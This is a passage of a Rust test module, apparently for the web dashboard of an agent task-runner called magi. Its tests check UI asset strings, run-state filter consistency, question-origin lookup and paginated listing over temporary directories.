24553            .get_with("/app.js", &[("if-none-match", &format!("W/{tag}"))])
24554            .await;
24555        assert_eq!(weak.status, 304);
24556        let stale = fx
24557            .get_with("/app.js", &[("if-none-match", "\"0.0.1-1\"")])
24558            .await;
24559        assert_eq!(stale.status, 200, "an older build must be replaced");
24560        assert!(stale.body.contains("renderRunActions"));
24561    }
24562
24563    #[test]
24564    fn the_task_detail_has_an_actions_fab_and_sheet() {
24565        assert!(INDEX_HTML.contains("id=\"task-actions-fab\""));
24566        assert!(INDEX_HTML.contains("id=\"task-actions-sheet\""));
24567        assert!(INDEX_HTML.contains("id=\"task-actions-error\" role=\"alert\""));
24568        // Shown only on the task route, closed everywhere else.
24569        assert!(APP_JS.contains("show($(\"task-actions-fab\"), route.name === \"task\")"));
24570        assert!(APP_JS.contains("if (route.name !== \"task\") closeTaskActions();"));
24571        // Refreshed whenever the detail redraws, including the loading state.
24572        assert!(APP_JS.contains("renderTaskActions(task.coreOnly || error ? null : task);"));
24573        assert!(APP_JS.contains("renderTaskActions(null);"));
24574        // Same action renderers as the Queue card. Bound this check by the
24575        // next function, since additional task controls can grow the sheet.
24576        let (_, sheet) = APP_JS
24577            .split_once("function renderTaskActions(task) {")
24578            .expect("sheet renderer");
24579        let (body, _) = sheet
24580            .split_once("\nfunction openTaskActions() {")
24581            .expect("end of sheet renderer");
24582        assert!(body.contains("changePriority("));
24583        assert!(body.contains("openTaskEdit(task)"));
24584        assert!(body.contains("renderTaskHoldBox(host"));
24585        assert!(body.contains("renderTaskDoneBox(host"));
24586        assert!(body.contains("renderTaskDeleteBox(host"));
24587        assert!(APP_JS.contains("API.priority(id)"));
24588        assert!(APP_JS.contains("API.deleteTask(id)"));
24589        // A deleted task sends the operator back to the queue.
24590        assert!(APP_JS.contains("location.hash = \"#/queue\""));
24591        // A refusal is shown inside the sheet.
24592        assert!(APP_JS.contains("$(\"task-actions-error\")"));
24593    }
24594
24595    #[test]
24596    fn the_run_actions_sheet_leads_with_a_way_to_the_task() {
24597        let task = INDEX_HTML.find("id=\"run-task-box\"").expect("task box");
24598        let actions = INDEX_HTML
24599            .find("id=\"run-actions-box\"")
24600            .expect("actions box");
24601        assert!(task < actions, "the task entry comes first in the sheet");
24602        assert!(APP_JS.contains("renderRunTaskEntry"));
24603        assert!(APP_JS.contains("\"Open task \""));
24604        // A run without a task says why there is nothing to open.
24605        assert!(APP_JS.contains("started directly, no task"));
24606        assert!(APP_JS.contains("sheet-task-link"));
24607        assert!(APP_JS.contains("task-chip-link"));
24608    }
24609
24610    #[test]
24611    fn the_deck_never_sends_the_operator_to_a_terminal() {
24612        // The whole point of the phone UI is that a terminal is not needed.
24613        // The delete control used to answer with "Run `magi fold` first."
24614        assert!(
24615            !APP_JS.contains("Run `magi fold` first"),
24616            "the deck must offer the fold, not prescribe a shell command"
24617        );
24618        assert!(APP_JS.contains("foldRun:"));
24619        assert!(APP_JS.contains("resumeRun:"));
24620        assert!(APP_JS.contains("renderRunActions"));
24621
24622        // Folding is destructive and armed in two steps, like deleting.
24623        assert!(APP_JS.contains("armedFold"));
24624        assert!(APP_JS.contains("Yes, fold worktrees"));
24625
24626        // And the copy has to say that the two actions are opposites, because
24627        // folding throws away exactly what a resume would continue from.
24628        assert!(APP_JS.contains("can no longer be resumed"));
24629    }
24630
24631    #[test]
24632    fn a_finished_run_explains_itself_with_its_own_last_line() {
24633        // The deck used to answer "why did this stop?" with a sentence chosen
24634        // by status alone. Run e633 stalled because two judges answered with
24635        // the wrong JSON shape and its card said "The panel collapsed on
24636        // agent quota" - with `quota: []` in the record and a quota-loss
24637        // counter right above it that correctly said nothing.
24638        assert!(
24639            !APP_JS.contains("collapsed on agent quota"),
24640            "a stall must not be explained by a cause the deck did not check"
24641        );
24642        assert!(
24643            !APP_JS.contains("Review rounds ran out with findings still open, or the gate failed"),
24644            "and a block must not offer a guess with an `or` in it"
24645        );
24646
24647        // The reason it does have is `run.event`, which must reach finished
24648        // runs: gating it on movement hid the recorded truth at the one moment
24649        // the operator is reading the card to find out what happened.
24650        assert!(
24651            APP_JS.contains("setText(r.event, run.event || \"\")"),
24652            "the run's last line is rendered unconditionally"
24653        );
24654        assert!(
24655            !APP_JS.contains("moving && run.event"),
24656            "and never gated on the run still moving"
24657        );
24658
24659        // Quota keeps its own counter, fed by the number actually recorded.
24660        assert!(APP_JS.contains("lost to quota"));
24661    }
24662
24663    /// The runs tree (section) and the state chips (waiting/done) are two
24664    /// independent lenses ANDed together in `renderRuns`, and some pairings
24665    /// can never both be true for any run - every "Landed"/"Ended" run is
24666    /// done by construction, so pairing either with "Active" or "In flight"
24667    /// always rendered zero cards with the filter bar still claiming
24668    /// `Showing Ended`. `sectionCompatibleWithStateFilter` exists to catch
24669    /// that before it happens, checked against `REPRESENTATIVE_RUN_SHAPES` -
24670    /// a handful of (waiting, status) shapes standing in for the run
24671    /// lifecycle, because `cargo test` cannot execute the front end.
24672    ///
24673    /// That stand-in list is itself the part that drifted twice in review:
24674    /// once shipped with `waiting: true` paired with a done status the
24675    /// lifecycle cannot produce, then over-corrected into treating every
24676    /// waiting run as never done - which made "Waiting on you" look
24677    /// incompatible with "Done" even for the one real, reachable shape
24678    /// (Stalled/Blocked, both terminal yet still resumable) that is exactly
24679    /// that combination. This test parses the shapes and the done-rule back
24680    /// out of `APP_JS`, reimplements `runSection` and the five state
24681    /// predicates independently in Rust, and checks the resulting
24682    /// section/filter compatibility table against the lifecycle rules by
24683    /// hand - so either direction of drift fails it again.
24684    #[test]
24685    fn runs_tree_sections_and_state_chips_agree_on_what_a_run_can_be() {
24686        let shapes_marker = "const REPRESENTATIVE_RUN_SHAPES = [";
24687        let shapes_body_start =
24688            APP_JS.find(shapes_marker).expect("the shape list exists") + shapes_marker.len();
24689        let shapes_close = APP_JS[shapes_body_start..]
24690            .find("].map(")
24691            .expect("the shape list is closed by its done-computing .map(...)")
24692            + shapes_body_start;
24693        let shapes_src = &APP_JS[shapes_body_start..shapes_close];
24694
24695        let mut shapes: Vec<(bool, String, bool, bool)> = Vec::new();
24696        for entry in shapes_src.split('{').skip(1) {
24697            let waiting = entry.contains("waiting: true");
24698            let dead = entry.contains("live: \"dead\"");
24699            let status_at =
24700                entry.find("status: \"").expect("each shape names a status") + "status: \"".len();
24701            let status_end = entry[status_at..]
24702                .find('"')
24703                .expect("the status string is closed")
24704                + status_at;
24705            let parked = entry.contains("display_status: \"parked\"");
24706            shapes.push((
24707                waiting,
24708                entry[status_at..status_end].to_string(),
24709                dead,
24710                parked,
24711            ));
24712        }
24713        assert!(shapes.len() >= 6, "parsed shapes: {shapes:?}");
24714
24715        // The done rule itself (`!["implementing"].includes(shape.status)`),
24716        // read out of the source rather than hardcoded, so a renamed
24717        // in-flight status can't silently make every parsed shape "done".
24718        let done_rule_marker = "done: !";
24719        let done_rule_at = APP_JS[shapes_close..]
24720            .find(done_rule_marker)
24721            .expect("the done rule follows the shape list")
24722            + shapes_close
24723            + done_rule_marker.len();
24724        let includes_at = APP_JS[done_rule_at..]
24725            .find(".includes(shape.status)")
24726            .expect("the done rule ends in .includes(shape.status)")
24727            + done_rule_at;
24728        let not_done: Vec<&str> = APP_JS[done_rule_at..includes_at]
24729            .trim()
24730            .trim_start_matches('[')
24731            .trim_end_matches(']')
24732            .split(',')
24733            .map(|s| s.trim().trim_matches('"'))
24734            .filter(|s| !s.is_empty())
24735            .collect();
24736
24737        let shapes: Vec<(bool, String, bool, bool, bool)> = shapes
24738            .into_iter()
24739            .map(|(waiting, status, dead, parked)| {
24740                let done = !not_done.contains(&status.as_str());
24741                (waiting, status, dead, parked, done)
24742            })
24743            .collect();
24744
24745        // `runSection` reimplemented from assets/ui/app.js: `waiting` wins
24746        // outright, then merged/ready land, stalled/blocked/failed/
24747        // verified_noop end, and everything else is still in flight.
24748        fn run_section(waiting: bool, status: &str, dead: bool, parked: bool) -> &'static str {
24749            if waiting {
24750                return "waiting";
24751            }
24752            if dead
24753                && !parked
24754                && !matches!(
24755                    status,
24756                    "merged"
24757                        | "ready"
24758                        | "stalled"
24759                        | "blocked"
24760                        | "failed"
24761                        | "verified_noop"
24762                        | "superseded"
24763                        | "already_in_base"
24764                )
24765            {
24766                return "stale";
24767            }
24768            match status {
24769                "merged" | "ready" => "landed",
24770                "stalled" | "blocked" | "failed" | "verified_noop" | "superseded"
24771                | "already_in_base" => "ended",
24772                _ => "flight",
24773            }
24774        }
24775
24776        // RUN_STATE_FILTERS' six `match` functions, reimplemented the same
24777        // way.
24778        fn filter_matches(filter_key: &str, waiting: bool, dead: bool, done: bool) -> bool {
24779            match filter_key {
24780                "active" => !done,
24781                "flight" => !done && !waiting && !dead,
24782                "stale" => !done && !waiting && dead,
24783                "waiting" => waiting,
24784                "done" => done,
24785                "all" => true,
24786                other => panic!("unknown RUN_STATE_FILTERS key: {other}"),
24787            }
24788        }
24789
24790        let compatible = |section: &str, filter_key: &str| {
24791            shapes.iter().any(|(waiting, status, dead, parked, done)| {
24792                run_section(*waiting, status, *dead, *parked) == section
24793                    && filter_matches(filter_key, *waiting, *dead && !*parked, *done)
24794            })
24795        };
24796
24797        // One row per RUN_SECTIONS key, in RUN_STATE_FILTERS' own order
24798        // (active, flight, stale, waiting, done, all) - hand-derived from the
24799        // lifecycle, independently of whatever REPRESENTATIVE_RUN_SHAPES
24800        // currently contains.
24801        let expected = [
24802            ("waiting", [true, false, false, true, true, true]),
24803            ("stale", [true, false, true, false, false, true]),
24804            ("flight", [true, true, false, false, false, true]),
24805            ("landed", [false, false, false, false, true, true]),
24806            ("ended", [false, false, false, false, true, true]),
24807        ];
24808        let filter_keys = ["active", "flight", "stale", "waiting", "done", "all"];
24809
24810        for (section, wants) in expected {
24811            for (filter_key, want) in filter_keys.iter().zip(wants) {
24812                assert_eq!(
24813                    compatible(section, filter_key),
24814                    want,
24815                    "section {section:?} x filter {filter_key:?} should be compatible: {want}"
24816                );
24817            }
24818        }
24819
24820        // The compatibility check exists only to be acted on: both pickers
24821        // must actually consult it rather than just render its answer.
24822        assert!(
24823            APP_JS.contains("function sectionCompatibleWithStateFilter(sectionKey, filterKey)")
24824        );
24825        assert!(APP_JS.contains(
24826            "if (state.runsFilter.section && !sectionCompatibleWithStateFilter(state.runsFilter.section, key))"
24827        ));
24828        assert!(APP_JS.contains(
24829            "if (!same && !sectionCompatibleWithStateFilter(section, state.runsStateFilter))"
24830        ));
24831    }
24832
24833    #[tokio::test]
24834    async fn normalize_default_repo_leaves_an_explicit_path_untouched() {
24835        // An operator-named directory - git checkout or not - is never
24836        // second-guessed, even when it does not exist at all: only the
24837        // flag's own unmodified `.` default is ever eligible for discovery.
24838        let dir = tempfile::tempdir().expect("tempdir");
24839        let explicit = dir.path().join("not-a-checkout");
24840        std::fs::create_dir_all(&explicit).expect("create dir");
24841        assert_eq!(normalize_default_repo(explicit.clone()).await, explicit);
24842
24843        let missing = dir.path().join("does-not-exist-at-all");
24844        assert_eq!(normalize_default_repo(missing.clone()).await, missing);
24845    }
24846
24847    #[test]
24848    fn stats_verdict_donut_has_fixed_colours_and_a_minimum_arc() {
24849        assert!(APP_JS.contains("function statsDonutArcs"));
24850        assert!(APP_JS.contains("STATS_DONUT_MIN_DEG"));
24851        // A bucket click filters by the statuses src/stats.rs counts in it.
24852        assert!(APP_JS.contains("function statusInBucket"));
24853        assert!(APP_JS.contains("statuses: [\"superseded\", \"already_in_base\"]"));
24854        assert!(INDEX_HTML.contains("id=\"stats-verdict-donut\""));
24855        let buckets = [
24856            "merged",
24857            "ready",
24858            "in_progress",
24859            "blocked",
24860            "failed",
24861            "verified_noop",
24862            "superseded",
24863            "stalled",
24864        ];
24865        for key in buckets {
24866            let var = format!("--verdict-{key}:");
24867            // Light, OS-dark and pinned-dark blocks each define it.
24868            assert_eq!(APP_CSS.matches(&var).count(), 3, "{var}");
24869            assert!(
24870                APP_CSS.contains(&format!("[data-verdict=\"{key}\"]")),
24871                "{key}"
24872            );
24873        }
24874    }
24875
24876    #[tokio::test]
24877    async fn resolve_talk_and_task_avoid_deserializing_corrupt_or_unrelated_json() {
24878        let dir = tempfile::tempdir().expect("tempdir");
24879        let queue = Queue::at(dir.path().join("queue"));
24880        let talks = Talks::at(dir.path().join("talks"));
24881        std::fs::create_dir_all(queue.root()).unwrap();
24882        std::fs::create_dir_all(talks.root()).unwrap();
24883
24884        // Put a corrupt json file in both stores
24885        std::fs::write(queue.root().join("corrupt-task.json"), "invalid json").unwrap();
24886        std::fs::write(talks.root().join("corrupt-talk.json"), "invalid json").unwrap();
24887
24888        // Valid task and talk
24889        let mut task = Task::new(
24890            "title".into(),
24891            "inst".into(),
24892            PathBuf::from("/repo"),
24893            Source::Human,
24894        );
24895        task.id = "20261019-123456-abcd".into();
24896        // Write manually so it's a valid file
24897        std::fs::write(
24898            queue.path_of(&task.id),
24899            serde_json::to_string(&task).unwrap(),
24900        )
24901        .unwrap();
24902
24903        let talk_id = "20261019-234567-cdef";
24904        seed_talk_at(&talks, talk_id, "open");
24905
24906        // Exact match should succeed without failing on the corrupt json file
24907        assert_eq!(resolve_task(&queue, &task.id).unwrap(), task.id);
24908        assert_eq!(resolve_talk(&talks, talk_id).unwrap(), talk_id);
24909
24910        // Prefix match should also succeed by scanning file names without deserializing corrupt file
24911        assert_eq!(resolve_task(&queue, "abcd").unwrap(), task.id);
24912        assert_eq!(resolve_talk(&talks, "cdef").unwrap(), talk_id);
24913    }
24914
24915    #[tokio::test]
24916    async fn question_core_and_empty_origins_do_not_touch_unavailable_histories() {
24917        let home = tempfile::tempdir().unwrap();
24918        let ui = delta_test_ui(home.path());
24919        // A full history traversal would fail even with no questions.
24920        std::fs::write(ui.queue.root(), "not a directory").unwrap();
24921        std::fs::write(ui.talks.root(), "not a directory").unwrap();
24922        assert!(
24923            questions_list(State(ui.clone()))
24924                .await
24925                .unwrap()
24926                .0
24927                .is_empty()
24928        );
24929        assert!(
24930            question_origins(State(ui.clone()))
24931                .await
24932                .unwrap()
24933                .0
24934                .is_empty()
24935        );
24936        let mut question = Question::new(
24937            "run-history".into(),
24938            "review".into(),
24939            "seat".into(),
24940            "Useful question".into(),
24941            "Useful detail".into(),
24942            vec![],
24943        );
24944        ui.questions.put(&mut question).unwrap();
24945        let core = questions_core(State(ui.clone())).await.unwrap().0;
24946        assert_eq!(core.len(), 1);
24947        assert_eq!(core[0].question.summary, "Useful question");
24948        assert!(!core[0].can_consult_chat);
24949        assert!(core[0].origin_chat.is_none());
24950        assert_eq!(core[0].record_revision, question_record_revision(&question));
24951        assert!(question_origins(State(ui.clone())).await.is_err());
24952        assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, 0);
24953    }
24954
24955    #[tokio::test]
24956    async fn question_origins_resolve_typed_links_without_expanding_consultation() {
24957        let home = tempfile::tempdir().unwrap();
24958        let ui = delta_test_ui(home.path());
24959        let chat = seed_talk_at(&ui.talks, "origin-chat", "closed");
24960        let mut parent = Task::new(
24961            "parent".into(),
24962            "body".into(),
24963            PathBuf::from("/repo"),
24964            Source::Agent {
24965                run: chat.clone(),
24966                node: crate::queue::CHAT_NODE.into(),
24967            },
24968        );
24969        parent.id = "parent-task".into();
24970        parent.runs = vec!["parent-run".into()];
24971        ui.queue.put(&mut parent).unwrap();
24972        let mut previous = parent;
24973        for generation in 1..=2 {
24974            let mut child = Task::new(
24975                "child".into(),
24976                "body".into(),
24977                PathBuf::from("/repo"),
24978                Source::Human,
24979            );
24980            child.id = format!("child-task-{generation}");
24981            child.runs = vec![format!("child-run-{generation}")];
24982            child.followup = Some(crate::queue::FollowUp {
24983                origin_task: Some(previous.id.clone()),
24984                run: previous.runs[0].clone(),
24985                pr: String::new(),
24986                findings: vec![],
24987                generation,
24988            });
24989            ui.queue.put(&mut child).unwrap();
24990            previous = child;
24991        }
24992        // A run may have the same spelling as another task's id; its owner
24993        // must not override a typed task reference.
24994        let mut collision = Task::new(
24995            "collision".into(),
24996            String::new(),
24997            PathBuf::from("/repo"),
24998            Source::Human,
24999        );
25000        collision.id = "collision-task".into();
25001        collision.runs = vec![previous.id.clone()];
25002        ui.queue.put(&mut collision).unwrap();
25003        let mut questions = Vec::new();
25004        for (node, reference, expected, eligible) in [
25005            (crate::triage::NODE, previous.id.as_str(), true, false),
25006            (crate::triage::DEPS_NODE, previous.id.as_str(), true, false),
25007            ("review", previous.runs[0].as_str(), true, true),
25008            (
25009                crate::bump::NOTICE_NODE,
25010                previous.runs[0].as_str(),
25011                true,
25012                false,
25013            ),
25014            // Identical text in the wrong reference namespace is not evidence.
25015            ("review", previous.id.as_str(), false, false),
25016            (crate::triage::NODE, previous.runs[0].as_str(), false, true),
25017            ("review", "unrelated", false, false),
25018        ] {
25019            let mut q = Question::new(
25020                reference.into(),
25021                node.into(),
25022                "seat".into(),
25023                "Question".into(),
25024                String::new(),
25025                vec![],
25026            );
25027            ui.questions.put(&mut q).unwrap();
25028            questions.push((q, expected, eligible));
25029        }
25030        for (node, reference, associated, eligible) in [
25031            (crate::reconcile::NODE, previous.id.as_str(), true, false),
25032            (
25033                crate::reconcile::NODE,
25034                previous.runs[0].as_str(),
25035                false,
25036                true,
25037            ),
25038            ("implement", previous.id.as_str(), false, false),
25039        ] {
25040            let mut q = Question::new(
25041                reference.into(),
25042                node.into(),
25043                crate::reconcile::SEAT.into(),
25044                "Reconcile".into(),
25045                String::new(),
25046                vec![],
25047            );
25048            ui.questions.put(&mut q).unwrap();
25049            questions.push((q, associated, eligible));
25050        }
25051        let mut release = Question::new(
25052            "release-record".into(),
25053            crate::bump::NOTICE_NODE.into(),
25054            "release-watch".into(),
25055            "Release".into(),
25056            String::new(),
25057            vec![],
25058        );
25059        ui.questions.put(&mut release).unwrap();
25060        let watch = crate::release_watch::WatchState {
25061            question: Some(release.id.clone()),
25062            run: Some(previous.runs[0].clone()),
25063            held_task: Some(previous.id.clone()),
25064            ..Default::default()
25065        };
25066        let watch_dir = home.path().join("release-watch");
25067        std::fs::create_dir_all(&watch_dir).unwrap();
25068        let watch_path = watch_dir.join("watch.json");
25069        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25070        // Ordinary questions and bump notices do not need watch-store I/O.
25071        for batch in [
25072            Vec::new(),
25073            questions.iter().map(|(q, _, _)| q.clone()).collect(),
25074        ] {
25075            let (_, _, watches) = question_origin_inputs(&ui, &batch).unwrap();
25076            assert!(watches.is_empty());
25077        }
25078        questions.push((release.clone(), true, false));
25079
25080        let views = questions_list(State(ui.clone())).await.unwrap().0;
25081        let origins = question_origins(State(ui.clone())).await.unwrap().0;
25082        for (q, associated, eligible) in &questions {
25083            let view = views.iter().find(|view| view.question.id == q.id).unwrap();
25084            let origin = origins.iter().find(|view| view.id == q.id).unwrap();
25085            let expected = associated.then_some(chat.as_str());
25086            assert_eq!(
25087                view.origin_chat.as_deref(),
25088                expected,
25089                "{} {}",
25090                q.node,
25091                q.run
25092            );
25093            assert_eq!(origin.origin_chat.as_deref(), expected);
25094            assert_eq!(view.origin_chat_closed, *associated);
25095            assert_eq!(origin.origin_chat_closed, *associated);
25096            assert_eq!(view.can_consult_chat, *eligible, "{} {}", q.node, q.run);
25097            assert_eq!(origin.can_consult_chat, *eligible);
25098        }
25099        // Either saved link independently recovers a release question's owner.
25100        for (run, held_task) in [(watch.run.clone(), None), (None, watch.held_task.clone())] {
25101            let link = crate::release_watch::WatchState {
25102                run,
25103                held_task,
25104                ..watch.clone()
25105            };
25106            std::fs::write(&watch_path, serde_json::to_vec(&link).unwrap()).unwrap();
25107            let (tasks, talks, watches) =
25108                question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25109            assert_eq!(
25110                crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25111                    .unwrap()
25112                    .id,
25113                chat,
25114            );
25115            assert!(crate::consult::origin_talk(&tasks, &talks, &release).is_none());
25116        }
25117        std::fs::write(&watch_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25118        // Even identical duplicate records are ambiguous: ignore their links.
25119        let duplicate_path = watch_dir.join("duplicate.json");
25120        std::fs::write(&duplicate_path, serde_json::to_vec(&watch).unwrap()).unwrap();
25121        let (tasks, talks, watches) =
25122            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25123        assert!(
25124            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25125                .is_none()
25126        );
25127        std::fs::remove_file(duplicate_path).unwrap();
25128        // Another explicit owner is a conflict even if it has no chat.
25129        let mut unrelated = Task::new(
25130            "other".into(),
25131            String::new(),
25132            PathBuf::from("/repo"),
25133            Source::Human,
25134        );
25135        unrelated.id = "unrelated-task".into();
25136        ui.queue.put(&mut unrelated).unwrap();
25137        let mut conflicting = watch.clone();
25138        conflicting.held_task = Some(unrelated.id);
25139        std::fs::write(
25140            watch_dir.join("conflict.json"),
25141            serde_json::to_vec(&conflicting).unwrap(),
25142        )
25143        .unwrap();
25144        let (tasks, talks, watches) =
25145            question_origin_inputs(&ui, std::slice::from_ref(&release)).unwrap();
25146        assert!(
25147            crate::consult::associated_talk_with_watches(&tasks, &talks, &release, &watches)
25148                .is_none()
25149        );
25150        std::fs::remove_file(watch_dir.join("conflict.json")).unwrap();
25151        std::fs::remove_file(ui.talks.path_of(&chat)).unwrap();
25152        for origin in question_origins(State(ui.clone())).await.unwrap().0 {
25153            assert!(origin.origin_chat.is_none());
25154            assert!(!origin.origin_chat_closed);
25155        }
25156    }
25157
25158    #[test]
25159    fn question_origin_lookup_matches_legacy_with_large_and_changing_histories() {
25160        let home = tempfile::tempdir().unwrap();
25161        let ui = delta_test_ui(home.path());
25162        let chat_id = seed_talk_at(&ui.talks, "chat-origin", "closed");
25163        for i in 0..1000 {
25164            let mut task = Task::new(
25165                "unrelated".into(),
25166                "instruction ".repeat(256),
25167                PathBuf::from("/repo"),
25168                Source::Human,
25169            );
25170            task.id = format!("history-{i:04}");
25171            ui.queue.put(&mut task).unwrap();
25172            let id = seed_talk_at(&ui.talks, &task.id, "open");
25173            let mut talk = ui.talks.get(&id).unwrap();
25174            talk.pending = "history ".repeat(256);
25175            ui.talks.put(&mut talk).unwrap();
25176        }
25177        let mut parent = Task::new(
25178            "parent".into(),
25179            "body".into(),
25180            PathBuf::from("/repo"),
25181            Source::Agent {
25182                run: chat_id.clone(),
25183                node: crate::queue::CHAT_NODE.into(),
25184            },
25185        );
25186        parent.id = "task-parent".into();
25187        parent.runs = vec!["run-parent".into()];
25188        ui.queue.put(&mut parent).unwrap();
25189        let mut child = Task::new(
25190            "child".into(),
25191            "body".into(),
25192            PathBuf::from("/repo"),
25193            Source::Human,
25194        );
25195        child.id = "task-child".into();
25196        child.runs = vec!["run-child".into()];
25197        child.followup = Some(crate::queue::FollowUp {
25198            run: "run-parent".into(),
25199            origin_task: Some(parent.id.clone()),
25200            pr: "https://example.invalid/pr/1".into(),
25201            findings: vec![],
25202            generation: 1,
25203        });
25204        ui.queue.put(&mut child).unwrap();
25205        let mut question = Question::new(
25206            child.id.clone(),
25207            crate::conduct::NODE.into(),
25208            "seat".into(),
25209            "Continue?".into(),
25210            String::new(),
25211            vec![],
25212        );
25213        let (tasks, talks, _watches) =
25214            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25215        assert_eq!(tasks.len(), 2);
25216        assert_eq!(talks.len(), 1);
25217        assert_eq!(
25218            ui.monitor.queue_index.lock().unwrap().reparsed,
25219            0,
25220            "exact ancestry bypasses the index"
25221        );
25222        assert_eq!(
25223            crate::consult::origin_talk(&tasks, &talks, &question)
25224                .unwrap()
25225                .id,
25226            chat_id
25227        );
25228        question.run = "run-child".into();
25229        question.node = "review".into();
25230        for origin_task in [Some(parent.id.clone()), None] {
25231            child.followup.as_mut().unwrap().origin_task = origin_task;
25232            ui.queue.put(&mut child).unwrap();
25233            let (tasks, talks, _watches) =
25234                question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25235            let actual = crate::consult::associated_talk(&tasks, &talks, &question).unwrap();
25236            let expected =
25237                crate::consult::associated_talk(&ui.queue.list(), &ui.talks.list(), &question)
25238                    .unwrap();
25239            assert_eq!(actual.id, expected.id);
25240            assert!(!actual.status.open());
25241            let parsed = ui.monitor.queue_index.lock().unwrap().reparsed;
25242            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25243            // Without Unix file identity, every readable record must be
25244            // reparsed to detect same-size, same-mtime replacements safely.
25245            let expected = parsed + if cfg!(unix) { 0 } else { 1002 };
25246            assert_eq!(ui.monitor.queue_index.lock().unwrap().reparsed, expected);
25247        }
25248        child.followup.as_mut().unwrap().origin_task = Some(parent.id.clone());
25249        ui.queue.put(&mut child).unwrap();
25250        std::fs::remove_file(ui.queue.path_of(&parent.id)).unwrap();
25251        let (tasks, talks, _watches) =
25252            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25253        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25254        child.origin_chat = Some(chat_id.clone());
25255        ui.queue.put(&mut child).unwrap();
25256        let (tasks, talks, _watches) =
25257            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25258        assert_eq!(
25259            crate::consult::origin_talk(&tasks, &talks, &question)
25260                .unwrap()
25261                .id,
25262            chat_id
25263        );
25264        let revision = question_record_revision(&question);
25265        question.abandon("settled elsewhere");
25266        assert_ne!(revision, question_record_revision(&question));
25267        assert!(crate::consult::origin_talk(&tasks, &talks, &question).is_none());
25268        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_some());
25269        std::fs::remove_file(ui.talks.path_of(&chat_id)).unwrap();
25270        let (tasks, talks, _watches) =
25271            question_origin_inputs(&ui, std::slice::from_ref(&question)).unwrap();
25272        assert!(crate::consult::associated_talk(&tasks, &talks, &question).is_none());
25273    }
25274
25275    #[test]
25276    fn list_cursors_freeze_membership_and_expire_explicitly() {
25277        let home = tempfile::tempdir().unwrap();
25278        let ui = delta_test_ui(home.path());
25279        std::fs::create_dir_all(ui.queue.root()).unwrap();
25280        for i in 0..40 {
25281            std::fs::write(ui.queue.path_of(&format!("record-{i:04}")), "broken").unwrap();
25282        }
25283        let (first, cursor) = page_ids(&ui, false, PageQuery::default()).unwrap();
25284        assert_eq!(first.len(), STORE_PAGE_SIZE);
25285        let cursor = cursor.unwrap();
25286        std::fs::write(ui.queue.path_of("record-9999"), "broken").unwrap();
25287        std::fs::remove_file(ui.queue.path_of(&first[0])).unwrap();
25288        let (second, _) = page_ids(
25289            &ui,
25290            false,
25291            PageQuery {
25292                before: Some(cursor.clone()),
25293            },
25294        )
25295        .unwrap();
25296        assert_eq!(second[0], "record-0023");
25297        assert!(second.iter().all(|id| !first.contains(id)));
25298        assert!(
25299            page_ids(
25300                &ui,
25301                true,
25302                PageQuery {
25303                    before: Some(cursor.clone())
25304                }
25305            )
25306            .is_err()
25307        );
25308        let (fresh, _) = page_ids(&ui, false, PageQuery::default()).unwrap();
25309        assert_eq!(fresh[0], "record-9999");
25310        ui.monitor.list_walks.lock().unwrap().clear();
25311        assert!(
25312            page_ids(
25313                &ui,
25314                false,
25315                PageQuery {
25316                    before: Some(cursor)
25317                }
25318            )
25319            .is_err()
25320        );
25321    }
25322
25323    #[tokio::test]
25324    async fn talk_pages_load_every_open_then_frozen_closed_history() {
25325        let home = tempfile::tempdir().unwrap();
25326        let ui = delta_test_ui(home.path());
25327        // Every closed conversation is newer by ID than every open conversation.
25328        for i in 0..23 {
25329            seed_talk_at(&ui.talks, &format!("20260101-000000-{i:03}"), "open");
25330        }
25331        for i in 0..45 {
25332            seed_talk_at(&ui.talks, &format!("20261019-000000-{i:03}"), "closed");
25333        }
25334        std::fs::write(ui.talks.path_of("20261020-000000-corrupt"), "broken").unwrap();
25335        let first = talks_page(
25336            State(ui.clone()),
25337            Query(PageQuery::default()),
25338            header::HeaderMap::new(),
25339        )
25340        .await
25341        .unwrap()
25342        .0;
25343        assert_eq!(
25344            first.rows.iter().filter(|row| row.status.open()).count(),
25345            23
25346        );
25347        assert_eq!(first.rows.len(), 23 + STORE_PAGE_SIZE - 1);
25348        assert!(first.rows[..23].iter().all(|row| row.status.open()));
25349        let parsed = ui
25350            .monitor
25351            .talk_parses
25352            .load(std::sync::atomic::Ordering::Relaxed);
25353        assert_eq!(
25354            parsed,
25355            first.rows.len(),
25356            "closed bodies outside this page are not restored"
25357        );
25358        let fresh = talks_page(
25359            State(ui.clone()),
25360            Query(PageQuery::default()),
25361            header::HeaderMap::new(),
25362        )
25363        .await
25364        .unwrap()
25365        .0;
25366        assert_eq!(fresh.rows.len(), first.rows.len());
25367        assert_eq!(
25368            ui.monitor
25369                .talk_parses
25370                .load(std::sync::atomic::Ordering::Relaxed),
25371            parsed
25372        );
25373        let mut seen: std::collections::HashSet<_> =
25374            first.rows.iter().map(|row| row.id.clone()).collect();
25375        // Status changes keep their original membership position until refresh.
25376        seed_talk_at(&ui.talks, "20261019-000000-000", "open");
25377        seed_talk_at(&ui.talks, "20260101-000000-000", "closed");
25378        std::fs::remove_file(ui.talks.path_of("20261019-000000-001")).unwrap();
25379        let mut next = first.next;
25380        while let Some(cursor) = next {
25381            let page = talks_page(
25382                State(ui.clone()),
25383                Query(PageQuery {
25384                    before: Some(cursor),
25385                }),
25386                header::HeaderMap::new(),
25387            )
25388            .await
25389            .unwrap()
25390            .0;
25391            assert!(page.rows.len() <= STORE_PAGE_SIZE);
25392            for row in page.rows {
25393                assert!(seen.insert(row.id), "a cursor must not repeat membership");
25394            }
25395            next = page.next;
25396        }
25397        let expected: HashSet<_> = (0..23)
25398            .map(|i| format!("20260101-000000-{i:03}"))
25399            .chain(
25400                (0..45)
25401                    .filter(|i| *i != 1)
